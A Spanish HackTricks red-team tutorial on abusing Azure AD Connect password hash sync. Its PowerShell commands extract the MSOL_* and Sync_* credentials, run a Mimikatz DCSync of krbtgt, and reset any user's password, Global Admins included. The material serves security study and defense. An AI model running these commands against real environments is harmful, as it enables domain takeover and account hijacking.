Az - PHS - Password Hash Sync

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

Desde la documentación: La sincronización de hash de contraseña es uno de los métodos de inicio de sesión utilizados para lograr la identidad híbrida. Azure AD Connect sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.

Es el método más común utilizado por las empresas para sincronizar un AD local con Azure AD.

Todos los usuarios y un hash de los hashes de las contraseñas se sincronizan desde el local a Azure AD. Sin embargo, las contraseñas en texto claro o los hashes originales no se envían a Azure AD. Además, los grupos de seguridad integrados (como administradores de dominio...) no se sincronizan con Azure AD.

La sincronización de hashes ocurre cada 2 minutos. Sin embargo, de forma predeterminada, la caducidad de la contraseña y la caducidad de la cuenta no se sincronizan en Azure AD. Por lo tanto, un usuario cuya contraseña local haya caducado (no cambiada) puede seguir accediendo a los recursos de Azure utilizando la contraseña antigua.

Cuando un usuario local desea acceder a un recurso de Azure, la autenticación se realiza en Azure AD.

PHS es necesario para funciones como Protección de Identidad y Servicios de Dominio de AAD.

Pivotaje

Cuando se configura PHS, algunas cuentas privilegiadas se crean automáticamente:

  • La cuenta MSOL_<installationID> se crea automáticamente en el AD local. A esta cuenta se le asigna un rol de Cuentas de Sincronización de Directorio (ver documentación) lo que significa que tiene permisos de replicación (DCSync) en el AD local.

  • Se crea una cuenta Sync_<nombre del servidor ADConnect local>_installationID en Azure AD. Esta cuenta puede restablecer la contraseña de CUALQUIER usuario (sincronizado o solo en la nube) en Azure AD.

Las contraseñas de las dos cuentas privilegiadas anteriores se almacenan en un servidor SQL en el servidor donde está instalado Azure AD Connect. Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro. La base de datos se encuentra en C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Es posible extraer la configuración de una de las tablas, siendo una de ellas encriptada:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

La configuración encriptada está cifrada con DPAPI y contiene las contraseñas del usuario MSOL_* en el AD local y la contraseña de Sync_* en AzureAD. Por lo tanto, comprometiendo estas es posible escalar privilegios al AD y a AzureAD.

Puedes encontrar una visión general completa de cómo se almacenan y descifran estas credenciales en esta charla.

Encontrar el servidor de Azure AD Connect

Si el servidor donde está instalado Azure AD Connect está unido al dominio (recomendado en la documentación), es posible encontrarlo con:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusando de MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

También puedes usar adconnectdump para obtener estas credenciales.

Abusando de Sync_*

Al comprometer la cuenta Sync_* es posible restablecer la contraseña de cualquier usuario (incluidos los Administradores Globales)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

También es posible modificar las contraseñas de solo los usuarios de la nube (aunque sea inesperado)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

También es posible extraer la contraseña de este usuario.

Otra opción sería asignar permisos privilegiados a un principal de servicio, lo cual el usuario de Sync tiene permisos para hacer, y luego acceder a ese principal de servicio como una forma de escalada de privilegios.

Inicio de sesión único sin interrupciones

Es posible utilizar el inicio de sesión único sin interrupciones con PHS, lo cual es vulnerable a otros abusos. Verifique en:

pageAz - Seamless SSO

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización